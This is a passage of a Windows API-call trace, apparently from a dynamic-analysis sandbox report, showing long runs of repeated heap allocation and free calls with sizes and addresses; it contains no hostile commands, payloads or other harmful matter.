[0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.452] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.454] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.457] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.459] RtlAllocateHeap 